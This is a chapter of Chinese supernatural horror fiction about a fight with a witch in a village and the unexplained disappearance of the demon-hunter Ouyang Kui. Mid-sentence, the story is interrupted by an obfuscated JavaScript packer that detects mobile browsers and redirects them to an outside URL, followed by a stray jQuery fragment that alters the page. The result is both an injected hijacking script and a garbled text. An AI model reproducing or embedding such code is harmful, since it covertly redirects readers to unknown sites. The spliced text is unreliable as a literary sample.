浓稠如墨的夜幕,仿佛一块巨大的黑色幕布,毫无保留地倾洒在村庄上空,将整个村子严严实实地笼罩在一片死寂与神秘的氛围之中。我和欧阳馗穿过曲折幽深、弥漫着腐叶气息的小巷,终于来到罗老太居住的院子。原本静谧的院子,瞬间被一股阴森诡异的气息所裹挟,让人不寒而栗。头顶的月光被厚重的云层层层遮挡,只留下几缕微弱的光线,勉强照亮这片危机四伏的区域,四周的阴影在昏暗中张牙舞爪,仿佛随时都会扑上来将我们吞噬。
突然,一阵阴森恐怖的怪笑从院子深处传来,那笑声尖锐刺耳,仿佛来自地狱深渊,回荡在整个院落,让人毛骨悚然。紧接着,我看见罗老太的手臂上,开始生长出漆黑如夜的鳞片,这些鳞片如同坚硬的盔甲,闪烁着冰冷的幽光。鳞片一片接着一片,以肉眼可见的速度迅速蔓延,不一会儿便覆盖了她的脸颊。刹那间,罗老太整个人就像披上了一件黑色的厚重铠甲,周身散发着令人胆寒的邪恶气息。
目睹这恐怖的一幕,在场的男女老少吓得脸色惨白如纸,尖叫声此起彼伏,划破了夜空的寂静。他们已经无暇顾及倒在血泊中的亲人,跌跌撞撞、哑着嗓子,慌不择路地拼命跑进巷子。慌乱的脚步声、惊恐的呼喊声以及衣服摩擦墙壁的沙沙声交织在一起,彻底打破了夜晚的宁静,让整个村庄陷入了一片混乱之中。
“我生活在这村子几十年,为何你们一族偏偏要将我赶尽杀绝?” 罗老太说话时,面目狰狞扭曲,五官几乎挤成了一团。我这才发觉,不知何时,罗老太的鼻子已经变成了鹰钩状,又尖又长,犹如鹰嘴一般;耳朵变得尖细且修长,仿佛传说中精灵的耳朵;嘴唇几乎薄得看不见,嘴角还挂着一丝邪恶的冷笑,让人望而生畏。
“好好的人不做,偏要练这歪门邪术,还好意思怪人赶尽杀绝?” 欧阳馗气得脸色铁青,额头上青筋暴起,索性将已经撕扯得不成样子的风衣一把扯下,狠狠丢在一边。他里面穿的白色短袖,已经被鲜血染红了大半,形成了一片片触目惊心的血渍。然而令人惊奇的是,伤口却在以肉眼可见的速度慢慢愈合,新的肌肤逐渐生长出来。
“歪门邪术?呵呵,” 罗老太冷笑几声,声音如同金属摩擦般刺耳,让人耳膜生疼,“要是这黑魔法百年前能传遍人世,现在被称为歪门邪术的,恐怕还是你们这降妖法术吧?” 顿了顿,罗老太似乎又想起了什么,眼神中闪过一丝疯狂,犹如两团燃烧的鬼火,“哦不,就算现如今这世道,降妖法术也不过是借天命损阴德的下三滥罢了……”
“你这巫女!” 欧阳馗被她这样一激,顿时红了眼,像一头愤怒的公牛般不顾一切地冲上前去。谁知罗老太早有防备,只见她背脊上的黑刺迅速抖动起来,发出一阵嗡嗡的声响,仿佛一群愤怒的黄蜂即将发动攻击。突然,罗老太一个弯身,那黑刺便像离弦之箭般直直地刺过来。欧阳馗躲闪不及,身中好几下,鲜血瞬间喷涌而出,染红了周围的地面。他痛苦地惨叫一声,重重地跌在地上,动弹不得,脸上满是痛苦和愤怒的神情。
我刚想上前去护着欧阳馗,罗老太却手臂一挥,一股强劲的力量如同狂风般向我袭来。我根本来不及反应,便被这股力量扫倒在地,重重地摔在地上,身体与地面摩擦,划出一道道伤痕。“功夫不到家,又何必来自寻死路逞能呢?” 罗老太瞟了我一眼,眼神中充满了不屑和嘲讽。接着,她又走去欧阳馗身边,一只脚踩在他肩膀上。欧阳馗顿时发出一阵痛苦的呻吟,原本已经只剩下痂痕的伤口,再次血流如注,鲜血顺着他的身体流淌,汇聚成一滩血泊。“听说,这降妖术师的心,可比普通人的精气更能留住我这张脸……” 罗老太背上的黑刺重新缩回皮下,鳞片也渐渐消退,重新露出一张美艳动人的脸庞,肌肤白皙如玉,双眸明亮有神,但眼神中却透着一股邪恶的气息。她蹲下身子,伸出已经变成尖锐枯枝状的右手,慢慢划开欧阳馗的上衣,血印子立马出现在欧阳馗的左胸前,仿佛一条狰狞的蜈蚣。
“巫女……” 欧阳馗使出浑身力气想要挣扎,却发现自己被一股无形的力量束缚住,根本无法动弹,一切都是徒劳。猛然,他看向我,眼神中充满了期待与焦急,仿佛在向我传递着某种信息。
我看着他,突然看见不远处的风衣,心中一惊:银粉!我慌忙爬起身,双腿还在微微颤抖。见我站起身子,罗老太只是淡淡看了一眼,用略带戏谑的口吻说了句:“不自量力的降妖术师,跟不自量力的半人半妖,也是般配呢……”
“半人半妖?” 我脑海里打了个疑问,但此时却没有时间去思考这些。我三步并两步冲过去,一把抓起风衣,将手伸进里面的口袋。罗老太反应过来什么,站起身一伸手,这次我看清是一股强大的气流从她掌心飞射出来。来不及躲闪,我只觉得一阵天旋地转,身体像断了线的风筝般飞了出去,接着就是脸颊撞击在地上的剧痛。好一会儿,我的意识都清醒不过来,睁开眼也是一片漆黑,一股咸腥味从喉咙里往上翻滚,我忍不住咳嗽起来,吐出一口鲜血。
不知过了多久,或许也才没多久,我试着动了下手指,却感觉手里紧握着一个东西。眼角有什么凝固在一起,因此只能勉强睁开一道眼缝。是装着银粉的袋子,尽管被甩出几米开外,但好在手里抓着的袋子始终没有松开。我刚想挪动一下腿脚,却引来一阵剧痛,整个身子像被打散了一样,每一个关节都在发出抗议,丝毫动弹不得。
“呵呵呵,连你也想来分得一杯羹?” 罗老太的声音仿佛就在耳边,吓得我浑身一颤,寒毛直竖。
从我这个角度看不清罗老太是在跟谁说话,但是一个女生的声音却响起来:“放了这个降妖术师。” 声音清脆悦耳,却带着一股坚定的力量。
“哦?妖还帮起了降妖的人?奇闻呐……” 罗老太虽然这样说,但还是松开了踩着欧阳馗的脚,往后退去几步,脸上露出一丝诡异的笑容,“莫非,你是想独吞这小子的心?” 此时,欧阳馗已经失去了知觉,身子下面的一滩血迹早已凝固,在月光下显得格外刺眼,仿佛一块巨大的血玉。
“不过,我倒还是第一次看见,半人半妖的家伙,居然还能分离成一人一妖……” 罗老太的目光落在我脸上,嘴角一丝似有似无的笑却是恐怖异常,让人不寒而栗。我看见她脖颈上的皮肤慢慢变成鳞片,心中暗叫:“不好……” 我想喊出来,却发现喉咙干紧得厉害,根本发不出任何声音,仿佛被一只无形的手扼住了喉咙。
罗老太一个跃身就上了空中,背上巨大的黑刺呼扇起来竟变成了一对巨大的翅膀。院落里的树木枝桠被引起的大风吹得拍打在一起,发出一阵噼里啪啦的声响,仿佛在演奏一首恐怖的乐章。站在地上的女生似乎并不慌张,既没躲闪的慌乱脚步也没有发出一丝的惊讶呼喊,她的眼神坚定而冷静,仿佛早已胸有成竹。
我只感觉地面有着轻微的晃动,突然,几根藤蔓破土而出,带着泥土的气息,笔直地朝空中的罗老太飞射过去。刚碰触到罗老太的身体,便又立刻缠绕起来,越缠越紧,仿佛有生命一般。
“可恶……” 罗老太奋力挣扎,翅膀疯狂地扇动着,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452004|168688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
试图挣脱藤蔓的束缚,但藤蔓却像坚韧的绳索一样,越缠越紧。
“结束了……” 女生的声音仿佛从很远的地方传来,带着一种不容置疑的力量,仿佛是命运的宣判。
只见分别缠绕着罗老太手臂、脖子、脚踝和翅膀的藤蔓霎时突然朝不同方向分开。
“不要!” 罗老太凄厉的尖叫声久久回荡在空中,黑色的血液犹如倾盆大雨劈头盖脸的砸向大地,溅起一片片黑色的水花。
我闭上眼,只感觉脸上沾上了温热的血液,味道刺鼻得厉害,几乎让我窒息。好不容易觉得空中不再有东西落下,便又慢慢睁开眼,映入眼帘的却是一双女生赤着的脚。“你是……” 还未问出口,又是一阵眩晕,我便失去了知觉,坠入了黑暗的深渊。
等再次睁开眼的时候,我已经躺在魏海杰家的床上。房间里弥漫着一股淡淡的草药味,阳光透过窗户洒在地上,形成一片片金色的光斑,给房间增添了一丝温暖的气息。
几个村民正坐在我床边抽着烟,烟雾缭绕,弥漫在整个房间。“诶!醒了醒了!” 不知是谁喊了一声,哗啦一下,屋外的人一下子涌进来,把房间挤得水泄不通,人们的身体相互挤压,发出一阵嘈杂的声音。
“我怎么会……” 我动了动手指,发现已经没有之前的那般疼痛,尝试着蹬了下腿,腿脚也能动弹了,身体的恢复让我感到一丝惊喜。
“哎呦,大师你可总算醒过来了!” 魏海杰的父亲挤开人群,竟一下子跪倒在床脚,脸上满是感激的泪水,泪水顺着脸颊滑落,滴在地上,“这次可多亏大师您啊!才为我们村去除了这个妖怪!”
“什么妖怪,人家大师不是说了嘛,罗老太以前是人,练了能长生不老的邪术才变成了巫女!” 人群中有个女人回了一句,声音尖锐,在房间里回荡。
“不管是妖怪还是女巫,这次可多亏了大师您才让我们村重新变得太平啊!” 魏海杰的父亲说话间,眼泪已经流满面颊,声音也变得哽咽起来,身体微微颤抖着。
“我不是大师…… 大师是欧阳馗啊……” 我哭笑不得,从床上坐起半个身子,眉头紧皱,“诶?欧阳馗呢?”
“谁?” 魏海杰的父亲摸着脸上的眼泪,一脸疑惑地看着我,眼神中充满了不解。
“欧阳馗啊,真正会捉妖怪的那个大师啊。” 我环顾房间,确定房间里只有我这一张床,却发现房间里的人都互相看着,然后以一种奇怪的眼神打量着我,仿佛我是一个外星人。
“这…… 会捉妖怪的大师你就是您嘛……” 魏海杰的父亲也是一脸的不明白,眼神中透露出一丝迷茫,挠了挠头。
“不是,跟我一起来的那个人呢,” 我也被搞糊涂了,心中充满了疑惑,“就是那个穿风衣的人,他在哪儿?”
“来村子里捉妖怪的不就您一个人吗……” 魏海杰的父亲突然抓住我的手,手心里满是汗水,“大师,您可能身子还没恢复,所以才问这些奇怪的话……”
我惊得说不出话来,一屋子的人面面相觑,不时看着我低声耳语些什么。
“大师这是怎么了…… 不会真的受了什么厉害的伤了吧……”“欧阳馗?听都没听过这号人物啊……”“是不是出现幻觉了吧……”
我只觉得耳朵里的这些细小的声音被渐渐放大,头越来越沉,仿佛有千斤重,仿佛整个世界都在旋转。终于,又一头载回了床上,陷入了深深的困惑与迷茫之中,脑海里不断思索着欧阳馗的去向,以及村民们奇怪反应背后的真相 。